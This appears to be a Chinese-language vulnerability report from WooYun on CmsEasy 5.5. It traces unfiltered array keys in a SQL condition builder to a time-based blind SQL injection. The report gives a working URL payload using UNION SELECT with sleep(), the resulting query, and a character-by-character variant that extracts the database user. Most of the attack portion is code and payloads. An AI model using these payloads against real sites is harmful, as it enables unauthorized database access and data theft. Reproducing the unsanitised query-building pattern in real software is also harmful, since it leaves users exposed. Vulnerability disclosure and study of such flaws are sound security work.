WooYun.org

archive_act.php:(line:27-33)

}


        front::check_type($this->pagesize);


        $announcement = new announcement();


        $this->view->announcements = $announcement->getrows(null, 10);


        $this->view->usergroupid = 1000;


        front::check_type(cookie::get('login_username'), 'safe');


        front::check_type(cookie::get('login_password'), 'safe');


        $this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));


        $addcontentuser = new user();


        $addcontentuser = $addcontentuser->getrow(array('userid' => $this->view->showarchive['userid']));

这里有一句:

$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));



我们跟进去这个函数getrow：

function getrow($condition,$order='1 desc',$cols='*') {


        $this->condition($condition);


        return $this->rec_select_one($condition,'*',$order);


    }

然后在看看这个函数condition：

function condition(&$condition) {


        if (isset($condition) &&is_array($condition)) {


            $_condition=array();


            foreach ($condition as $key=>$value) {


                //$value=str_replace("'","\'",$value);


                $_condition[]="`$key`='$value'";


            }


            $condition=implode(' and ',$_condition);


        }


        else if (is_numeric($condition)) {


            $this->getFields();


            $condition="`$this->primary_key`='$condition'";


        }else if(true === $condition){

这里我们发现了如果传递进来的东西key没有做任何过滤，

我们发送请求:

url:**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%23]=1



在后台抓取后看看是否效果sql语句完美执行:

SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1



一个完美的sql语句执行完毕，这时候网页刷新时间为5秒钟，那么下来我们怎样去猜测字段

SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1



我们可以改变$NUM的值 这里要进行urlencode



ok剩余的就不解释了